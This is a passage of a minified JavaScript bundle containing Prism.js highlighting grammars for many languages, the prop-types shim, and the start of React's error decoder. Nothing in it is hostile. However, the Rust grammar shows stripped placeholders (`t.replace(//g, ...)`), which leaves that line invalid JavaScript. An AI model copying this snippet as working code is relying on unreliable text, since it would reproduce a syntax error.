}),a.languages.insertBefore("less","property",{variable:[{pattern:/@[\w-]+\s*:/,inside:{punctuation:/:/}},/@@?[\w-]+/],"mixin-usage":{pattern:/([{;]\s*)[.#](?!\d)[\w-].*?(?=[(;])/,lookbehind:!0,alias:"function"}}),a.languages.makefile={comment:{pattern:/(^|[^\\])#(?:\\(?:\r\n|[\s\S])|[^\\\r\n])*/,lookbehind:!0},string:{pattern:/(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"builtin-target":{pattern:/\.[A-Z][^:#=\s]+(?=\s*:(?!=))/,alias:"builtin"},target:{pattern:/^(?:[^:=\s]|[ \t]+(?![\s:]))+(?=\s*:(?!=))/m,alias:"symbol",inside:{variable:/\$+(?:(?!\$)[^(){}:#=\s]+|(?=[({]))/}},variable:/\$+(?:(?!\$)[^(){}:#=\s]+|\([@*%<^+?][DF]\)|(?=[({]))/,keyword:/-include\b|\b(?:define|else|endef|endif|export|ifn?def|ifn?eq|include|override|private|sinclude|undefine|unexport|vpath)\b/,function:{pattern:/(\()(?:abspath|addsuffix|and|basename|call|dir|error|eval|file|filter(?:-out)?|findstring|firstword|flavor|foreach|guile|if|info|join|lastword|load|notdir|or|origin|patsubst|realpath|shell|sort|strip|subst|suffix|value|warning|wildcard|word(?:list|s)?)(?=[ \t])/,lookbehind:!0},operator:/(?:::|[?:+!])?=|[|@]/,punctuation:/[:;(){}]/},a.languages.objectivec=a.languages.extend("c",{string:{pattern:/@?"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"/,greedy:!0},keyword:/\b(?:asm|auto|break|case|char|const|continue|default|do|double|else|enum|extern|float|for|goto|if|in|inline|int|long|register|return|self|short|signed|sizeof|static|struct|super|switch|typedef|typeof|union|unsigned|void|volatile|while)\b|(?:@interface|@end|@implementation|@protocol|@class|@public|@protected|@private|@property|@try|@catch|@finally|@throw|@synthesize|@dynamic|@selector)\b/,operator:/-[->]?|\+\+?|!=?|<>?=?|==?|&&?|\|\|?|[~^%?*\/@]/}),delete a.languages.objectivec["class-name"],a.languages.objc=a.languages.objectivec,a.languages.ocaml={comment:{pattern:/\(\*[\s\S]*?\*\)/,greedy:!0},char:{pattern:/'(?:[^\\\r\n']|\\(?:.|[ox]?[0-9a-f]{1,3}))'/i,greedy:!0},string:[{pattern:/"(?:\\(?:[\s\S]|\r\n)|[^\\\r\n"])*"/,greedy:!0},{pattern:/\{([a-z_]*)\|[\s\S]*?\|\1\}/,greedy:!0}],number:[/\b(?:0b[01][01_]*|0o[0-7][0-7_]*)\b/i,/\b0x[a-f0-9][a-f0-9_]*(?:\.[a-f0-9_]*)?(?:p[+-]?\d[\d_]*)?(?!\w)/i,/\b\d[\d_]*(?:\.[\d_]*)?(?:e[+-]?\d[\d_]*)?(?!\w)/i],directive:{pattern:/\B#\w+/,alias:"property"},label:{pattern:/\B~\w+/,alias:"property"},"type-variable":{pattern:/\B'\w+/,alias:"function"},variant:{pattern:/`\w+/,alias:"symbol"},keyword:/\b(?:as|assert|begin|class|constraint|do|done|downto|else|end|exception|external|for|fun|function|functor|if|in|include|inherit|initializer|lazy|let|match|method|module|mutable|new|nonrec|object|of|open|private|rec|sig|struct|then|to|try|type|val|value|virtual|when|where|while|with)\b/,boolean:/\b(?:false|true)\b/,"operator-like-punctuation":{pattern:/\[[<>|]|[>|]\]|\{<|>\}/,alias:"punctuation"},operator:/\.[.~]|:[=>]|[=<>@^|&+\-*\/$%!?~][!$%&*+\-.\/:<=>?@^|~]*|\b(?:and|asr|land|lor|lsl|lsr|lxor|mod|or)\b/,punctuation:/;;|::|[(){}\[\].,:;#]|\b_\b/},a.languages.python={comment:{pattern:/(^|[^\\])#.*/,lookbehind:!0,greedy:!0},"string-interpolation":{pattern:/(?:f|fr|rf)(?:("""|''')[\s\S]*?\1|("|')(?:\\.|(?!\2)[^\\\r\n])*\2)/i,greedy:!0,inside:{interpolation:{pattern:/((?:^|[^{])(?:\{\{)*)\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}])+\})+\})+\}/,lookbehind:!0,inside:{"format-spec":{pattern:/(:)[^:(){}]+(?=\}$)/,lookbehind:!0},"conversion-option":{pattern:/![sra](?=[:}]$)/,alias:"punctuation"},rest:null}},string:/[\s\S]+/}},"triple-quoted-string":{pattern:/(?:[rub]|br|rb)?("""|''')[\s\S]*?\1/i,greedy:!0,alias:"string"},string:{pattern:/(?:[rub]|br|rb)?("|')(?:\\.|(?!\1)[^\\\r\n])*\1/i,greedy:!0},function:{pattern:/((?:^|\s)def[ \t]+)[a-zA-Z_]\w*(?=\s*\()/g,lookbehind:!0},"class-name":{pattern:/(\bclass\s+)\w+/i,lookbehind:!0},decorator:{pattern:/(^[\t ]*)@\w+(?:\.\w+)*/m,lookbehind:!0,alias:["annotation","punctuation"],inside:{punctuation:/\./}},keyword:/\b(?:_(?=\s*:)|and|as|assert|async|await|break|case|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|match|nonlocal|not|or|pass|print|raise|return|try|while|with|yield)\b/,builtin:/\b(?:__import__|abs|all|any|apply|ascii|basestring|bin|bool|buffer|bytearray|bytes|callable|chr|classmethod|cmp|coerce|compile|complex|delattr|dict|dir|divmod|enumerate|eval|execfile|file|filter|float|format|frozenset|getattr|globals|hasattr|hash|help|hex|id|input|int|intern|isinstance|issubclass|iter|len|list|locals|long|map|max|memoryview|min|next|object|oct|open|ord|pow|property|range|raw_input|reduce|reload|repr|reversed|round|set|setattr|slice|sorted|staticmethod|str|sum|super|tuple|type|unichr|unicode|vars|xrange|zip)\b/,boolean:/\b(?:False|None|True)\b/,number:/\b0(?:b(?:_?[01])+|o(?:_?[0-7])+|x(?:_?[a-f0-9])+)\b|(?:\b\d+(?:_\d+)*(?:\.(?:\d+(?:_\d+)*)?)?|\B\.\d+(?:_\d+)*)(?:e[+-]?\d+(?:_\d+)*)?j?(?!\w)/i,operator:/[-+%=]=?|!=|:=|\*\*?=?|\/\/?=?|<[<=>]?|>[=>]?|[&|^~]/,punctuation:/[{}[\];(),.:]/},a.languages.python["string-interpolation"].inside.interpolation.inside.rest=a.languages.python,a.languages.py=a.languages.python,a.languages.reason=a.languages.extend("clike",{string:{pattern:/"(?:\\(?:\r\n|[\s\S])|[^\\\r\n"])*"/,greedy:!0},"class-name":/\b[A-Z]\w*/,keyword:/\b(?:and|as|assert|begin|class|constraint|do|done|downto|else|end|exception|external|for|fun|function|functor|if|in|include|inherit|initializer|lazy|let|method|module|mutable|new|nonrec|object|of|open|or|private|rec|sig|struct|switch|then|to|try|type|val|virtual|when|while|with)\b/,operator:/\.{3}|:[:=]|\|>|->|=(?:==?|>)?|<=?|>=?|[|^?'#!~`]|[+\-*\/]\.?|\b(?:asr|land|lor|lsl|lsr|lxor|mod)\b/}),a.languages.insertBefore("reason","class-name",{char:{pattern:/'(?:\\x[\da-f]{2}|\\o[0-3][0-7][0-7]|\\\d{3}|\\.|[^'\\\r\n])'/,greedy:!0},constructor:/\b[A-Z]\w*\b(?!\s*\.)/,label:{pattern:/\b[a-z]\w*(?=::)/,alias:"symbol"}}),delete a.languages.reason.function,function(e){e.languages.sass=e.languages.extend("css",{comment:{pattern:/^([ \t]*)\/[\/*].*(?:(?:\r?\n|\r)\1[ \t].+)*/m,lookbehind:!0,greedy:!0}}),e.languages.insertBefore("sass","atrule",{"atrule-line":{pattern:/^(?:[ \t]*)[@+=].+/m,greedy:!0,inside:{atrule:/(?:@[\w-]+|[+=])/}}}),delete e.languages.sass.atrule;var t=/\$[-\w]+|#\{\$[-\w]+\}/,n=[/[+*\/%]|[=!]=|<=?|>=?|\b(?:and|not|or)\b/,{pattern:/(\s)-(?=\s)/,lookbehind:!0}];e.languages.insertBefore("sass","property",{"variable-line":{pattern:/^[ \t]*\$.+/m,greedy:!0,inside:{punctuation:/:/,variable:t,operator:n}},"property-line":{pattern:/^[ \t]*(?:[^:\s]+ *:.*|:[^:\s].*)/m,greedy:!0,inside:{property:[/[^:\s]+(?=\s*:)/,{pattern:/(:)[^:\s]+/,lookbehind:!0}],punctuation:/:/,variable:t,operator:n,important:e.languages.sass.important}}}),delete e.languages.sass.property,delete e.languages.sass.important,e.languages.insertBefore("sass","punctuation",{selector:{pattern:/^([ \t]*)\S(?:,[^,\r\n]+|[^,\r\n]*)(?:,[^,\r\n]+)*(?:,(?:\r?\n|\r)\1[ \t]+\S(?:,[^,\r\n]+|[^,\r\n]*)(?:,[^,\r\n]+)*)*/m,lookbehind:!0,greedy:!0}})}(a),a.languages.scss=a.languages.extend("css",{comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|\/\/.*)/,lookbehind:!0},atrule:{pattern:/@[\w-](?:\([^()]+\)|[^()\s]|\s+(?!\s))*?(?=\s+[{;])/,inside:{rule:/@[\w-]+/}},url:/(?:[-a-z]+-)?url(?=\()/i,selector:{pattern:/(?=\S)[^@;{}()]?(?:[^@;{}()\s]|\s+(?!\s)|#\{\$[-\w]+\})+(?=\s*\{(?:\}|\s|[^}][^:{}]*[:{][^}]))/,inside:{parent:{pattern:/&/,alias:"important"},placeholder:/%[-\w]+/,variable:/\$[-\w]+|#\{\$[-\w]+\}/}},property:{pattern:/(?:[-\w]|\$[-\w]|#\{\$[-\w]+\})+(?=\s*:)/,inside:{variable:/\$[-\w]+|#\{\$[-\w]+\}/}}}),a.languages.insertBefore("scss","atrule",{keyword:[/@(?:content|debug|each|else(?: if)?|extend|for|forward|function|if|import|include|mixin|return|use|warn|while)\b/i,{pattern:/( )(?:from|through)(?= )/,lookbehind:!0}]}),a.languages.insertBefore("scss","important",{variable:/\$[-\w]+|#\{\$[-\w]+\}/}),a.languages.insertBefore("scss","function",{"module-modifier":{pattern:/\b(?:as|hide|show|with)\b/i,alias:"keyword"},placeholder:{pattern:/%[-\w]+/,alias:"selector"},statement:{pattern:/\B!(?:default|optional)\b/i,alias:"keyword"},boolean:/\b(?:false|true)\b/,null:{pattern:/\bnull\b/,alias:"keyword"},operator:{pattern:/(\s)(?:[-+*\/%]|[=!]=|<=?|>=?|and|not|or)(?=\s)/,lookbehind:!0}}),a.languages.scss.atrule.inside.rest=a.languages.scss,function(e){var t={pattern:/(\b\d+)(?:%|[a-z]+)/,lookbehind:!0},n={pattern:/(^|[^\w.-])-?(?:\d+(?:\.\d+)?|\.\d+)/,lookbehind:!0},r={comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|\/\/.*)/,lookbehind:!0},url:{pattern:/\burl\((["']?).*?\1\)/i,greedy:!0},string:{pattern:/("|')(?:(?!\1)[^\\\r\n]|\\(?:\r\n|[\s\S]))*\1/,greedy:!0},interpolation:null,func:null,important:/\B!(?:important|optional)\b/i,keyword:{pattern:/(^|\s+)(?:(?:else|for|if|return|unless)(?=\s|$)|@[\w-]+)/,lookbehind:!0},hexcode:/#[\da-f]{3,6}/i,color:[/\b(?:AliceBlue|AntiqueWhite|Aqua|Aquamarine|Azure|Beige|Bisque|Black|BlanchedAlmond|Blue|BlueViolet|Brown|BurlyWood|CadetBlue|Chartreuse|Chocolate|Coral|CornflowerBlue|Cornsilk|Crimson|Cyan|DarkBlue|DarkCyan|DarkGoldenRod|DarkGr[ae]y|DarkGreen|DarkKhaki|DarkMagenta|DarkOliveGreen|DarkOrange|DarkOrchid|DarkRed|DarkSalmon|DarkSeaGreen|DarkSlateBlue|DarkSlateGr[ae]y|DarkTurquoise|DarkViolet|DeepPink|DeepSkyBlue|DimGr[ae]y|DodgerBlue|FireBrick|FloralWhite|ForestGreen|Fuchsia|Gainsboro|GhostWhite|Gold|GoldenRod|Gr[ae]y|Green|GreenYellow|HoneyDew|HotPink|IndianRed|Indigo|Ivory|Khaki|Lavender|LavenderBlush|LawnGreen|LemonChiffon|LightBlue|LightCoral|LightCyan|LightGoldenRodYellow|LightGr[ae]y|LightGreen|LightPink|LightSalmon|LightSeaGreen|LightSkyBlue|LightSlateGr[ae]y|LightSteelBlue|LightYellow|Lime|LimeGreen|Linen|Magenta|Maroon|MediumAquaMarine|MediumBlue|MediumOrchid|MediumPurple|MediumSeaGreen|MediumSlateBlue|MediumSpringGreen|MediumTurquoise|MediumVioletRed|MidnightBlue|MintCream|MistyRose|Moccasin|NavajoWhite|Navy|OldLace|Olive|OliveDrab|Orange|OrangeRed|Orchid|PaleGoldenRod|PaleGreen|PaleTurquoise|PaleVioletRed|PapayaWhip|PeachPuff|Peru|Pink|Plum|PowderBlue|Purple|Red|RosyBrown|RoyalBlue|SaddleBrown|Salmon|SandyBrown|SeaGreen|SeaShell|Sienna|Silver|SkyBlue|SlateBlue|SlateGr[ae]y|Snow|SpringGreen|SteelBlue|Tan|Teal|Thistle|Tomato|Transparent|Turquoise|Violet|Wheat|White|WhiteSmoke|Yellow|YellowGreen)\b/i,{pattern:/\b(?:hsl|rgb)\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*\)\B|\b(?:hsl|rgb)a\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*,\s*(?:0|0?\.\d+|1)\s*\)\B/i,inside:{unit:t,number:n,function:/[\w-]+(?=\()/,punctuation:/[(),]/}}],entity:/\\[\da-f]{1,8}/i,unit:t,boolean:/\b(?:false|true)\b/,operator:[/~|[+!\/%<>?=]=?|[-:]=|\*[*=]?|\.{2,3}|&&|\|\||\B-\B|\b(?:and|in|is(?: a| defined| not|nt)?|not|or)\b/],number:n,punctuation:/[{}()\[\];:,]/};r.interpolation={pattern:/\{[^\r\n}:]+\}/,alias:"variable",inside:{delimiter:{pattern:/^\{|\}$/,alias:"punctuation"},rest:r}},r.func={pattern:/[\w-]+\([^)]*\).*/,inside:{function:/^[^(]+/,rest:r}},e.languages.stylus={"atrule-declaration":{pattern:/(^[ \t]*)@.+/m,lookbehind:!0,inside:{atrule:/^@[\w-]+/,rest:r}},"variable-declaration":{pattern:/(^[ \t]*)[\w$-]+\s*.?=[ \t]*(?:\{[^{}]*\}|\S.*|$)/m,lookbehind:!0,inside:{variable:/^\S+/,rest:r}},statement:{pattern:/(^[ \t]*)(?:else|for|if|return|unless)[ \t].+/m,lookbehind:!0,inside:{keyword:/^\S+/,rest:r}},"property-declaration":{pattern:/((?:^|\{)([ \t]*))(?:[\w-]|\{[^}\r\n]+\})+(?:\s*:\s*|[ \t]+)(?!\s)[^{\r\n]*(?:;|[^{\r\n,]$(?!(?:\r?\n|\r)(?:\{|\2[ \t])))/m,lookbehind:!0,inside:{property:{pattern:/^[^\s:]+/,inside:{interpolation:r.interpolation}},rest:r}},selector:{pattern:/(^[ \t]*)(?:(?=\S)(?:[^{}\r\n:()]|::?[\w-]+(?:\([^)\r\n]*\)|(?![\w-]))|\{[^}\r\n]+\})+)(?:(?:\r?\n|\r)(?:\1(?:(?=\S)(?:[^{}\r\n:()]|::?[\w-]+(?:\([^)\r\n]*\)|(?![\w-]))|\{[^}\r\n]+\})+)))*(?:,$|\{|(?=(?:\r?\n|\r)(?:\{|\1[ \t])))/m,lookbehind:!0,inside:{interpolation:r.interpolation,comment:r.comment,punctuation:/[{},]/}},func:r.func,string:r.string,comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|\/\/.*)/,lookbehind:!0,greedy:!0},interpolation:r.interpolation,punctuation:/[{}()\[\];:.]/}}(a),function(e){var t=e.util.clone(e.languages.typescript);e.languages.tsx=e.languages.extend("jsx",t),delete e.languages.tsx.parameter,delete e.languages.tsx["literal-property"];var n=e.languages.tsx.tag;n.pattern=RegExp(/(^|[^\w$]|(?=<\/))/.source+"(?:"+n.pattern.source+")",n.pattern.flags),n.lookbehind=!0}(a),a.languages.wasm={comment:[/\(;[\s\S]*?;\)/,{pattern:/;;.*/,greedy:!0}],string:{pattern:/"(?:\\[\s\S]|[^"\\])*"/,greedy:!0},keyword:[{pattern:/\b(?:align|offset)=/,inside:{operator:/=/}},{pattern:/\b(?:(?:f32|f64|i32|i64)(?:\.(?:abs|add|and|ceil|clz|const|convert_[su]\/i(?:32|64)|copysign|ctz|demote\/f64|div(?:_[su])?|eqz?|extend_[su]\/i32|floor|ge(?:_[su])?|gt(?:_[su])?|le(?:_[su])?|load(?:(?:8|16|32)_[su])?|lt(?:_[su])?|max|min|mul|neg?|nearest|or|popcnt|promote\/f32|reinterpret\/[fi](?:32|64)|rem_[su]|rot[lr]|shl|shr_[su]|sqrt|store(?:8|16|32)?|sub|trunc(?:_[su]\/f(?:32|64))?|wrap\/i64|xor))?|memory\.(?:grow|size))\b/,inside:{punctuation:/\./}},/\b(?:anyfunc|block|br(?:_if|_table)?|call(?:_indirect)?|data|drop|elem|else|end|export|func|get_(?:global|local)|global|if|import|local|loop|memory|module|mut|nop|offset|param|result|return|select|set_(?:global|local)|start|table|tee_local|then|type|unreachable)\b/],variable:/\$[\w!#$%&'*+\-./:<=>?@\\^`|~]+/,number:/[+-]?\b(?:\d(?:_?\d)*(?:\.\d(?:_?\d)*)?(?:[eE][+-]?\d(?:_?\d)*)?|0x[\da-fA-F](?:_?[\da-fA-F])*(?:\.[\da-fA-F](?:_?[\da-fA-D])*)?(?:[pP][+-]?\d(?:_?\d)*)?)\b|\binf\b|\bnan(?::0x[\da-fA-F](?:_?[\da-fA-D])*)?\b/,punctuation:/[()]/};const o=a},457:()=>{!function(e){for(var t=/\/\*(?:[^*/]|\*(?!\/)|\/(?!\*)|)*\*\//.source,n=0;n<2;n++)t=t.replace(//g,(function(){return t}));t=t.replace(//g,(function(){return/[^\s\S]/.source})),e.languages.rust={comment:[{pattern:RegExp(/(^|[^\\])/.source+t),lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/b?"(?:\\[\s\S]|[^\\"])*"|b?r(#*)"(?:[^"]|"(?!\1))*"\1/,greedy:!0},char:{pattern:/b?'(?:\\(?:x[0-7][\da-fA-F]|u\{(?:[\da-fA-F]_*){1,6}\}|.)|[^\\\r\n\t'])'/,greedy:!0},attribute:{pattern:/#!?\[(?:[^\[\]"]|"(?:\\[\s\S]|[^\\"])*")*\]/,greedy:!0,alias:"attr-name",inside:{string:null}},"closure-params":{pattern:/([=(,:]\s*|\bmove\s*)\|[^|]*\||\|[^|]*\|(?=\s*(?:\{|->))/,lookbehind:!0,greedy:!0,inside:{"closure-punctuation":{pattern:/^\||\|$/,alias:"punctuation"},rest:null}},"lifetime-annotation":{pattern:/'\w+/,alias:"symbol"},"fragment-specifier":{pattern:/(\$\w+:)[a-z]+/,lookbehind:!0,alias:"punctuation"},variable:/\$\w+/,"function-definition":{pattern:/(\bfn\s+)\w+/,lookbehind:!0,alias:"function"},"type-definition":{pattern:/(\b(?:enum|struct|trait|type|union)\s+)\w+/,lookbehind:!0,alias:"class-name"},"module-declaration":[{pattern:/(\b(?:crate|mod)\s+)[a-z][a-z_\d]*/,lookbehind:!0,alias:"namespace"},{pattern:/(\b(?:crate|self|super)\s*)::\s*[a-z][a-z_\d]*\b(?:\s*::(?:\s*[a-z][a-z_\d]*\s*::)*)?/,lookbehind:!0,alias:"namespace",inside:{punctuation:/::/}}],keyword:[/\b(?:Self|abstract|as|async|await|become|box|break|const|continue|crate|do|dyn|else|enum|extern|final|fn|for|if|impl|in|let|loop|macro|match|mod|move|mut|override|priv|pub|ref|return|self|static|struct|super|trait|try|type|typeof|union|unsafe|unsized|use|virtual|where|while|yield)\b/,/\b(?:bool|char|f(?:32|64)|[ui](?:8|16|32|64|128|size)|str)\b/],function:/\b[a-z_]\w*(?=\s*(?:::\s*<|\())/,macro:{pattern:/\b\w+!/,alias:"property"},constant:/\b[A-Z_][A-Z_\d]+\b/,"class-name":/\b[A-Z]\w*\b/,namespace:{pattern:/(?:\b[a-z][a-z_\d]*\s*::\s*)*\b[a-z][a-z_\d]*\s*::(?!\s*<)/,inside:{punctuation:/::/}},number:/\b(?:0x[\dA-Fa-f](?:_?[\dA-Fa-f])*|0o[0-7](?:_?[0-7])*|0b[01](?:_?[01])*|(?:(?:\d(?:_?\d)*)?\.)?\d(?:_?\d)*(?:[Ee][+-]?\d+)?)(?:_?(?:f32|f64|[iu](?:8|16|32|64|size)?))?\b/,boolean:/\b(?:false|true)\b/,punctuation:/->|\.\.=|\.{1,3}|::|[{}[\];(),:]/,operator:/[-+*\/%!^]=?|=[=>]?|&[&=]?|\|[|=]?|<>?=?|[@?]/},e.languages.rust["closure-params"].inside.rest=e.languages.rust,e.languages.rust.attribute.inside.string=e.languages.rust.string}(Prism)},4265:()=>{!function(e){var t=/(?:[\w-]+|'[^'\n\r]*'|"(?:\\.|[^\\"\r\n])*")/.source;function n(e){return e.replace(/__/g,(function(){return t}))}e.languages.toml={comment:{pattern:/#.*/,greedy:!0},table:{pattern:RegExp(n(/(^[\t ]*\[\s*(?:\[\s*)?)__(?:\s*\.\s*__)*(?=\s*\])/.source),"m"),lookbehind:!0,greedy:!0,alias:"class-name"},key:{pattern:RegExp(n(/(^[\t ]*|[{,]\s*)__(?:\s*\.\s*__)*(?=\s*=)/.source),"m"),lookbehind:!0,greedy:!0,alias:"property"},string:{pattern:/"""(?:\\[\s\S]|[^\\])*?"""|'''[\s\S]*?'''|'[^'\n\r]*'|"(?:\\.|[^\\"\r\n])*"/,greedy:!0},date:[{pattern:/\b\d{4}-\d{2}-\d{2}(?:[T\s]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:\d{2})?)?\b/i,alias:"number"},{pattern:/\b\d{2}:\d{2}:\d{2}(?:\.\d+)?\b/,alias:"number"}],number:/(?:\b0(?:x[\da-zA-Z]+(?:_[\da-zA-Z]+)*|o[0-7]+(?:_[0-7]+)*|b[10]+(?:_[10]+)*))\b|[-+]?\b\d+(?:_\d+)*(?:\.\d+(?:_\d+)*)?(?:[eE][+-]?\d+(?:_\d+)*)?\b|[-+]?\b(?:inf|nan)\b/,boolean:/\b(?:false|true)\b/,punctuation:/[.,=[\]{}]/}}(Prism)},4049:(e,t,n)=>{"use strict";var r=n(6257);function a(){}function o(){}o.resetWarningCache=a,e.exports=function(){function e(e,t,n,a,o,i){if(i!==r){var s=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw s.name="Invariant Violation",s}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:o,resetWarningCache:a};return n.PropTypes=n,n}},507:(e,t,n)=>{e.exports=n(4049)()},6257:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},7439:(e,t,n)=>{"use strict";var r=n(9496),a=n(2767),o=n(8051);function i(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n